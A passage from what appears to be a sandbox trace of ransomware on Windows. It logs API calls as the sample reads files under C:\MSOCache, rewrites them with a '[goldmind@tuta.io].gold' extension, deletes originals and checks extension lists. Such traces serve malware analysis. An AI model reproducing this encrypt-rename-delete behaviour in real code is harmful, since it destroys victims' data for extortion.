out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.984] SetEndOfFile (hFile=0x1b0) returned 1 [0042.984] CloseHandle (hObject=0x1b0) returned 1 [0042.984] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.984] SetEndOfFile (hFile=0x1a0) returned 1 [0042.987] CloseHandle (hObject=0x1a0) returned 1 [0042.987] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0042.987] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe")) returned 1 [0042.988] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0042.988] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0042.988] lstrlenW (lpString=".doc") returned 4 [0042.988] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0042.988] lstrlenW (lpString=".docx") returned 5 [0042.988] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0042.988] lstrlenW (lpString=".pdf") returned 4 [0042.988] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0042.988] lstrlenW (lpString=".xls") returned 4 [0042.988] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0042.988] lstrlenW (lpString=".xlsx") returned 5 [0042.988] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0042.988] lstrlenW (lpString=".ppt") returned 4 [0042.988] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0042.988] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0042.988] lstrlenW (lpString=".zip") returned 4 [0042.988] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0042.988] lstrlenW (lpString=".rar") returned 4 [0042.988] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0042.988] lstrlenW (lpString=".bz2") returned 4 [0042.988] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0042.988] lstrlenW (lpString=".7z") returned 3 [0042.988] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0042.988] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0042.988] lstrlenW (lpString=".dbf") returned 4 [0042.988] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0042.988] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0042.988] lstrlenW (lpString=".1cd") returned 4 [0042.988] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0042.988] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0042.988] lstrlenW (lpString=".jpg") returned 4 [0042.988] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0042.988] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0042.988] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0042.988] lstrlenW (lpString=".doc") returned 4 [0042.988] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0042.988] lstrlenW (lpString=".docx") returned 5 [0042.988] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0042.988] lstrlenW (lpString=".pdf") returned 4 [0042.988] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0042.988] lstrlenW (lpString=".xls") returned 4 [0042.988] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0042.989] lstrlenW (lpString=".xlsx") returned 5 [0042.989] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0042.989] lstrlenW (lpString=".ppt") returned 4 [0042.989] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0042.989] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0042.989] lstrlenW (lpString=".zip") returned 4 [0042.989] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0042.989] lstrlenW (lpString=".rar") returned 4 [0042.989] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0042.989] lstrlenW (lpString=".bz2") returned 4 [0042.989] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0042.989] lstrlenW (lpString=".7z") returned 3 [0042.989] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0042.989] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0042.989] lstrlenW (lpString=".dbf") returned 4 [0042.989] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0042.989] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0042.989] lstrlenW (lpString=".1cd") returned 4 [0042.989] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0042.989] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe") returned 75 [0042.989] lstrlenW (lpString=".jpg") returned 4 [0042.989] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0042.989] lstrcmpiW (lpString1=".MST", lpString2=".gold") returned 1 [0042.989] lstrlenW (lpString="ShellUI.MST") returned 11 [0042.989] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0042.989] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=3584) returned 1 [0042.989] CloseHandle (hObject=0x1a0) returned 1 [0042.991] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 0x2020 [0042.991] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.991] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0042.991] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.991] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.991] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0042.991] GetLastError () returned 0x0 [0042.991] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0xe00, lpOverlapped=0x0) returned 1 [0042.993] WriteFile (in: hFile=0x1b0, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xe10, lpOverlapped=0x0) returned 1 [0042.993] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.993] WriteFile (in: hFile=0x1b0, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fc9c*=0xea, lpOverlapped=0x0) returned 1 [0042.993] SetEndOfFile (hFile=0x1b0) returned 1 [0042.994] CloseHandle (hObject=0x1b0) returned 1 [0042.994] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.994] SetEndOfFile (hFile=0x1a0) returned 1 [0042.994] CloseHandle (hObject=0x1a0) returned 1 [0042.994] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0042.994] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\shellui.mst")) returned 1 [0042.995] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0042.995] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0042.995] lstrlenW (lpString=".doc") returned 4 [0042.995] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0042.995] lstrlenW (lpString=".docx") returned 5 [0042.995] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0042.995] lstrlenW (lpString=".pdf") returned 4 [0042.995] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0042.995] lstrlenW (lpString=".xls") returned 4 [0042.995] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0042.995] lstrlenW (lpString=".xlsx") returned 5 [0042.995] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0042.995] lstrlenW (lpString=".ppt") returned 4 [0042.995] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0042.995] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0042.995] lstrlenW (lpString=".zip") returned 4 [0042.995] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0042.995] lstrlenW (lpString=".rar") returned 4 [0042.995] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0042.995] lstrlenW (lpString=".bz2") returned 4 [0042.995] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0042.995] lstrlenW (lpString=".7z") returned 3 [0042.995] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0042.995] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0042.995] lstrlenW (lpString=".dbf") returned 4 [0042.995] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0042.995] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0042.995] lstrlenW (lpString=".1cd") returned 4 [0042.995] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0042.995] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0042.995] lstrlenW (lpString=".jpg") returned 4 [0042.995] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0042.995] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0042.995] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0042.995] lstrlenW (lpString=".doc") returned 4 [0042.995] lstrcmpiW (lpString1=".doc", lpString2=".MST") returned -1 [0042.995] lstrlenW (lpString=".docx") returned 5 [0042.995] lstrcmpiW (lpString1=".docx", lpString2="I.MST") returned -1 [0042.995] lstrlenW (lpString=".pdf") returned 4 [0042.995] lstrcmpiW (lpString1=".pdf", lpString2=".MST") returned 1 [0042.995] lstrlenW (lpString=".xls") returned 4 [0042.995] lstrcmpiW (lpString1=".xls", lpString2=".MST") returned 1 [0042.995] lstrlenW (lpString=".xlsx") returned 5 [0042.995] lstrcmpiW (lpString1=".xlsx", lpString2="I.MST") returned -1 [0042.996] lstrlenW (lpString=".ppt") returned 4 [0042.996] lstrcmpiW (lpString1=".ppt", lpString2=".MST") returned 1 [0042.996] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0042.996] lstrlenW (lpString=".zip") returned 4 [0042.996] lstrcmpiW (lpString1=".zip", lpString2=".MST") returned 1 [0042.996] lstrlenW (lpString=".rar") returned 4 [0042.996] lstrcmpiW (lpString1=".rar", lpString2=".MST") returned 1 [0042.996] lstrlenW (lpString=".bz2") returned 4 [0042.996] lstrcmpiW (lpString1=".bz2", lpString2=".MST") returned -1 [0042.996] lstrlenW (lpString=".7z") returned 3 [0042.996] lstrcmpiW (lpString1=".7z", lpString2="MST") returned -1 [0042.996] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0042.996] lstrlenW (lpString=".dbf") returned 4 [0042.996] lstrcmpiW (lpString1=".dbf", lpString2=".MST") returned -1 [0042.996] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0042.996] lstrlenW (lpString=".1cd") returned 4 [0042.996] lstrcmpiW (lpString1=".1cd", lpString2=".MST") returned -1 [0042.996] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\ShellUI.MST") returned 74 [0042.996] lstrlenW (lpString=".jpg") returned 4 [0042.996] lstrcmpiW (lpString1=".jpg", lpString2=".MST") returned -1 [0042.996] lstrcmpiW (lpString1=".msi", lpString2=".gold") returned 1 [0042.996] lstrlenW (lpString="AccessMUI.msi") returned 13 [0042.996] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0042.997] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=2517504) returned 1 [0042.997] CloseHandle (hObject=0x1a0) returned 1 [0042.997] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi")) returned 0x2020 [0042.997] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0042.997] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0042.997] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.msi.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0042.997] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0x0) returned 1 [0042.997] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.997] ReadFile (in: hFile=0x1a0, lpBuffer=0x3b80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b80058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.000] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.000] ReadFile (in: hFile=0x1a0, lpBuffer=0x3bc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bc0058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.007] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0043.007] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x302fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.007] ReadFile (in: hFile=0x1a0, lpBuffer=0x3c00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c00058*, lpNumberOfBytesRead=0x302fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.302] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.302] WriteFile (in: hFile=0x1a0, lpBuffer=0x3b80020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x302fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b80020*, lpNumberOfBytesWritten=0x302fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0043.315] SetEndOfFile (hFile=0x1a0) returned 1 [0043.315] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3fec018 [0043.315] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.315] WriteFile (in: hFile=0x1a0, lpBuffer=0x3fec018*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fec018*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.316] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xcce00, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.316] WriteFile (in: hFile=0x1a0, lpBuffer=0x3fec018*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fec018*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.320] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x226a00, lpNewFilePointer=0x0, dwMoveMethod=0x302fc7c | out: lpNewFilePointer=0x0) returned 1 [0043.320] WriteFile (in: hFile=0x1a0, lpBuffer=0x3fec018*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fec018*, lpNumberOfBytesWritten=0x302fc88*=0x40000, lpOverlapped=0x0) returned 1 [0043.322] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3fec018 | out: hHeap=0x880000) returned 1 [0043.322] CloseHandle (hObject=0x1a0) returned 1 [0043.322] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0043.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0043.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0043.323] lstrlenW (lpString=".doc") returned 4 [0043.323] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.323] lstrlenW (lpString=".docx") returned 5 [0043.323] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0043.323] lstrlenW (lpString=".pdf") returned 4 [0043.323] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.323] lstrlenW (lpString=".xls") returned 4 [0043.323] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.323] lstrlenW (lpString=".xlsx") returned 5 [0043.323] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0043.323] lstrlenW (lpString=".ppt") returned 4 [0043.323] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0043.323] lstrlenW (lpString=".zip") returned 4 [0043.323] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.323] lstrlenW (lpString=".rar") returned 4 [0043.323] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.323] lstrlenW (lpString=".bz2") returned 4 [0043.323] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.323] lstrlenW (lpString=".7z") returned 3 [0043.323] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0043.323] lstrlenW (lpString=".dbf") returned 4 [0043.323] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0043.323] lstrlenW (lpString=".1cd") returned 4 [0043.323] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0043.323] lstrlenW (lpString=".jpg") returned 4 [0043.323] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0043.323] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0043.324] lstrlenW (lpString=".doc") returned 4 [0043.324] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.324] lstrlenW (lpString=".docx") returned 5 [0043.324] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0043.324] lstrlenW (lpString=".pdf") returned 4 [0043.324] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.324] lstrlenW (lpString=".xls") returned 4 [0043.324] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.324] lstrlenW (lpString=".xlsx") returned 5 [0043.324] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0043.324] lstrlenW (lpString=".ppt") returned 4 [0043.324] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0043.324] lstrlenW (lpString=".zip") returned 4 [0043.324] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.324] lstrlenW (lpString=".rar") returned 4 [0043.324] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.324] lstrlenW (lpString=".bz2") returned 4 [0043.324] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0043.324] lstrlenW (lpString=".7z") returned 3 [0043.324] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0043.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0043.324] lstrlenW (lpString=".dbf") returned 4 [0043.324] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0043.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0043.324] lstrlenW (lpString=".1cd") returned 4 [0043.324] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0043.324] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89 [0043.324] lstrlenW (lpString=".jpg") returned 4 [0043.324] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0043.324] lstrcmpiW (lpString1=".exe", lpString2=".gold") returned -1 [0043.324] lstrlenW (lpString="ose.exe") returned 7 [0043.324] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0043.325] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=174440) returned 1 [0043.325] CloseHandle (hObject=0x1a0) returned 1 [0043.325] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0043.325] GetFileAttributesW (lpFileName="C:\\MSOCache\\All 